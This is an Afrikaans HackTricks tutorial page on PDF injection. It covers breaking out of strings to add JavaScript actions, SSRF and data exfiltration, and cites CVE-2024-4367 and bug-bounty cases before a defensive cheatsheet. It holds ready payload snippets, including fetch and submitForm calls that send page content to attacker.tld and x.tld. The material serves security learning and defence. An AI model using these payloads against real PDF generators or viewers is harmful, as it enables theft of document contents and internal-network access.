PDF Injection
Reading time: 5 minutes
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
As jou invoer binne 'n PDF-lêer weerspieël word, kan jy probeer om PDF-data in te spuit om JavaScript uit te voer, SSRF te doen of die PDF-inhoud te steel. PDF-sintaksis is uiters toelaatbaar – as jy uit die string of woordeboek wat jou invoer inkorporeer kan breek, kan jy heeltemal nuwe voorwerpe (of nuwe sleutels in dieselfde voorwerp) byvoeg wat Acrobat/Chrome graag sal ontleed. Sedert 2024 het 'n golf van fout-bounty verslae gewys dat een onontsnapte haakie of terug-skuif genoeg is vir volle skripuitvoering.
TL;DR – Moderne Aanval Werkvloei (2024)
- Vind enige gebruiker-beheerde waarde wat uiteindelik binne 'n (haakie string),
/URI ( … )of/JS ( … )veld in die gegenereerde PDF eindig. - Spuit
)(sluit die string) gevolg deur een van die primitiewe hieronder en eindig met 'n ander opening haakie om die sintaksis geldig te hou. - Lewer die kwaadwillige PDF aan 'n slagoffer (of aan 'n agtergronddiens wat outomaties die lêer weergee – wonderlik vir blinde foute).
- Jou payload loop in die PDF-kijker:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (sien CVE-2024-4367)
- Acrobat → Volledige JavaScript API (kan arbitrêre lêerinligting met
this.getPageNthWordekfiltreer)
Voorbeeld (annotasie skakel kaping):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Die eerste ) sluit die oorspronklike URI-string, ons voeg dan 'n nuwe Action woordeboek by wat Acrobat sal uitvoer wanneer die gebruiker op die skakel klik.
Nuttige Inspuitingsprimitiewe
| Doel | Payload Snippet | Aantekeninge |
|---|---|---|
| JavaScript op oop | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Voer onmiddellik uit wanneer die dokument oopgemaak word (werk in Acrobat, nie in Chrome nie). |
| JavaScript op skakel | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Werk in PDFium & Acrobat as jy 'n /Link annotasie beheer. |
| Blind data exfiltrasie | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Kombineer met this.getPageNthWord binne JS om inhoud te steel. |
| Server-Side SSRF | Dieselfde as hierbo, maar teiken 'n interne URL – wonderlik wanneer die PDF deur agterkant-dienste wat /URI eerbiedig, gerender word. | |
| Lynbreek vir nuwe objekte | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | As die biblioteek jou toelaat om nuwe-lyn karakters in te spuit, kan jy heeltemal nuwe objekte skep. |
Blind Enumerasie Truuk
Gareth Heyes (PortSwigger) het 'n een-liner vrygestel wat elke objek binne 'n onbekende dokument tel – handig wanneer jy nie die gegenereerde PDF kan sien nie:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Die kode herhaal die Acrobat DOM en maak uitgaande versoeke vir elke eienskap/waarde paar, wat jou 'n JSON-agtige dump van die lêer gee. Sien die witpapier “Portable Data exFiltration” vir die volledige tegniek.
Regte-Wêreld Foute (2023-2025)
- CVE-2024-4367 – Arbitraire JavaScript uitvoering in Firefox se PDF.js voor 4.2.67 het die sandbox omseil met 'n vervaardigde
/JavaScriptaksie. - Bug bounty 2024-05 – Groot fintech het kliënt-gelewer faktuur notas toegelaat wat in
/URIbeland het; verslag betaal $10k na 'n gedemonstreerde SSRF na interne metadata gasheer metfile:///URI. - CVE-2023-26155 –
node-qpdfopdrag-inspuiting via ongesuiwerde PDF pad toon die belangrikheid van die ontsnapping van terugskrape en hakies selfs voor die PDF laag.
Verdedigende Cheatsheet
- Moet nooit rou gebruikersinvoer binne
(…)strings of name saamvoeg nie. Ontsnap\,(,)soos vereis deur §7.3 van die PDF spesifikasie of gebruik hex strings<...>. - As jy skakels bou, verkies
/URI (https://…)wat jy ten volle URL-kodeer; blokkeerjavascript:skemas in kliëntkykers. - Verwyder of valideer
/OpenAction,/AA(addisionele aksies),/Launch,/SubmitFormen/ImportDatawoorde wanneer jy PDF's na-verwerk. - Aan die bedienerkant, render onbetroubare PDF's met 'n headless converter (bv. qpdf –decrypt –linearize) wat JavaScript en eksterne aksies verwyder.
- Hou PDF kyker op datum; PDF.js < 4.2.67 en Acrobat Reader voor Julie 2024 patches laat triviale kode uitvoering toe.
Verwysings
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (opgedateer Mei 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks